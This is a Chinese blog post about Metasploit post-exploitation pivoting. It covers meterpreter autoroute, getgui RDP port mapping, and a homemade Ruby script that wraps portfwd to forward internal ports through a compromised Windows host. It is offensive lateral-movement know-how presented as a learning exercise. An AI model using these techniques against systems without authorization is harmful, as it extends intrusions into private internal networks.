初次接触msf最令人兴奋的莫过于跳板功能,通过msf添加路由功能,可以直接使用msf对本来不能访问的内网进行连接(建立访问连接是渗透的第一步),一旦建立连接那么就是想干什么都可以真是强大无比。
使用meterpreter的autoroute功能,即可完成该操作。首先使用get_local_subnets脚本获得受控系统本地子网,然后使用autoroute脚本添加路由。这样操作后就会看到添加的路由表,网关是session 3即payload程序。如果我在msf指定某个模块的ip地址是192.168.244.*,则会通过session3 网关进行转发,访问到目标ip.
跟建立网络连接的还有一个经常使用的,就是网络映射功能,meterpreter中有一个getgui脚本(我的bt下脚本存放路径/opt/metasploit/msf3/scripts/meterpreter里面有很多写好的脚本,如下图所示)
在《metasploit渗透测试指南》上说,getgui可以将远程的3389映射到本地的指定端口,功能,这就是一个网络映射过程。
看其使用方法,很简单,这里我不添加用户名和密码,直接建立连接。运行run getgui -e -f 8080
执行后建立了连接
可以建立连接,转发成功了。
但是在渗透测试中需求,总是在变化的,以前也有过需求,将内网的某个端口映射出来,进行连接,是否也可以做到?带着这个问题,我看了一下getgui的实现代码。
我没有学过ruby,但是看了这样代码,很容易明白,刚才执行的run getgui -e -f 8080时,则含有-f则frwrd变量设置为true。并且保存-f后面的端口到变量lport中,而下面当frwrd为true,则会调用portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1 将远程3389(相对于payload即是127.0.0.1)映射到本地的指定的端口。
可见建立网络映射只需要这条命令即可。搜索该命令所在文件:
发现是在/opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb中定义的。
应该是该命令的具体实现。从参数中很容易看出来。各个参数的含义。
可以看到支持很多命令add、delete、list等。
因此,照猫画虎。如果我想将远程主机的10081端口映射到本地的10081端口,那怎么实现?
只需要一句话
client.run_cmd(“portfwd add -L 0.0.0.0 -l 10081 -p 10081 -r 127.0.0.1”)
在/opt/metasploit/msf3/scripts/meterpreter目录下创建changeport.rb
运行一下创建的脚本
看一下端口状态:
映射已经成功。
从刚才portfwd的命令可以知道,其支持add、delete、list命令,因此继续丰富自己的脚本,可以实现这样一个功能,添加端口映射、删除端口映射、查看端口映射。照猫画虎可以写出如下脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
|
# Author: buchedan.org
#——————————————————————————-
################## Variable Declarations ##################
session = client
@@exec_opts = Rex::Parser::Arguments.new(
“-h” => [ true, “Help menu.” ],
“-c” => [ true, “include -add -list -del. “ ],
“-l” => [ true, “localport and it is not using.” ],
“-r” => [ true, “remoteip of trying to connect.” ],
“-p” => [ true, “remoteport of trying to connect.” ]
)
def usage
print_line(“portfwd “)
print_line(“Usage: changeport -c add -l <localport> -r <remoteip> -p <remoteport>”)
print_line(“Usage: changeport -c list “)
print_line(“Usage: changeport -c del -l <localport> “)
print(@@exec_opts.usage)
raise Rex::Script::Completed
end
def message
print_status “portfwd remoteip port to localport”
print_status “http://buchedan.org”
end
################## MAIN ##################
# Parsing of Options
cmd = nil
lport = nil
rip = nil
rport = nil
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when “-c”
cmd = val
when “-h”
usage
when “-l”
lport = val
when “-r”
rip = val
when “-p”
rport = val
end
}
if client.platform =~ /win32|win64/
if args.length > 0
# show info
message
case cmd
when “list”
client.run_cmd(“portfwd list”)
when “add”
if (!lport or !rip or !rport)
print_error(“You must supply a local port, remote host, and remote port.”)
return
end
client.run_cmd(“portfwd add -L 0.0.0.0 -l #{lport} -p #{rport} -r #{rip}”)
#print_status(“Starting the #{rip}:#{rport} forwarding at local port #{lport}”)
when “del”
if(!lport)
print_error(“You must supply a local port.”)
return
else
client.run_cmd(“portfwd delete -L 0.0.0.0 -l #{lport}”)
end
end
else
usage
end
else
print_error(“This version of Meterpreter is not supported with this Script!”)
raise Rex::Script::Completed
end
|
放入到/opt/metasploit/msf3/scripts/meterpreter下
使用方法演示
可以显示帮助信息,建立映射,显示映射,删除映射。当然鸟语写的不好,只有自己能看懂。
后来蓦然回首,才发现当初的自己是多么的2,原来meterpreter本身就有这个portfwd功能,可以直接使用,我真是脱裤子放屁了。完全实现了add、list与delete。
总结
本文主要学习,使用lcx做端口转发,将两个内网机器(目标机器和msf)建立连接,同时使用msfpayload进行作为跳板,可以进行继续渗透。最后是简单实现端口映射,了解基本的mterpreter脚本编程。
备注:
本文主要是以windows下payload为例,其实msf支持很多种脚本建立连接。
相关文章链接:《Metasploit后渗透技巧[1]》
[via@buchedan]
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号